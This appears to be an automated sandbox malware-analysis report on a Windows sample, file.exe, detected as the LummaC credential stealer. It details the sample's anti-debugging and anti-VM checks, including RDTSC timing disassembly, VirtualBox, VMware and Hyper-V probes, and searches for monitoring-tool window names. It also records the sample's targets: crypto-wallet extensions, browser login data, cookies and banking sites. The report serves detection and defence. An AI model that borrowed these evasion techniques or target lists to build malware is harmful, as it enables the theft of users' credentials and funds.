Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541098E second address: 54109C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, ecx 0x0000000f pushfd 0x00000010 jmp 00007FD9A885D724h 0x00000015 jmp 00007FD9A885D725h 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54109C9 second address: 54109E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov edi, esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54109E4 second address: 5410ABD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD9A885D726h 0x00000008 add eax, 0D91AD78h 0x0000000e jmp 00007FD9A885D71Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov dh, cl 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FD9A885D720h 0x00000021 and ecx, 6FB147D8h 0x00000027 jmp 00007FD9A885D71Bh 0x0000002c popfd 0x0000002d mov si, 5E8Fh 0x00000031 popad 0x00000032 xchg eax, esi 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007FD9A885D727h 0x0000003a and esi, 07CE474Eh 0x00000040 jmp 00007FD9A885D729h 0x00000045 popfd 0x00000046 popad 0x00000047 mov esi, dword ptr [ebp+0Ch] 0x0000004a jmp 00007FD9A885D71Eh 0x0000004f test esi, esi 0x00000051 pushad 0x00000052 mov dx, si 0x00000055 push eax 0x00000056 push edx 0x00000057 pushfd 0x00000058 jmp 00007FD9A885D728h 0x0000005d sbb ecx, 01874E28h 0x00000063 jmp 00007FD9A885D71Bh 0x00000068 popfd 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410ABD second address: 5410AD3 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 je 00007FDA19A1EAC8h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov al, C1h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410AD3 second address: 5410AD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2F9AE1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2F9BCE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 49F104 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 678DE07 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 678B4F6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 678DE13 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7488	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7492	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7472	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7464	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7484	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7476	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7564	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7468	Thread sleep time: -54027s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.1780541022.000000000047D000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1784987978.000000000691C000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1619473736.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1781545106.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1781545106.0000000001378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1780004563.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Ven_NECVMWar&Prod_VMware_SATA_CD00#
Source: file.exe, 00000000.00000003.1405989142.0000000005D97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1780084081.0000000001426000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\tA
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000003.1780084081.0000000001426000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1780541022.000000000047D000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1784987978.000000000691C000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000003.1405989142.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.1780541022.000000000047D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 'iProgram Manager
Source: file.exe, 00000000.00000002.1784987978.000000000691C000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: @pProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1619585653.0000000001413000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619408240.000000000140A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iles%\Windows Defender\MsMpeng.exe
Source: file.exe, 00000000.00000003.1545352621.0000000005D58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7408, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: ets/Electrum-LTC
Source: file.exe, 00000000.00000003.1365221088.000000000141F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyt<\|
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.1500790894.000000000140F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1500790894.000000000140F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
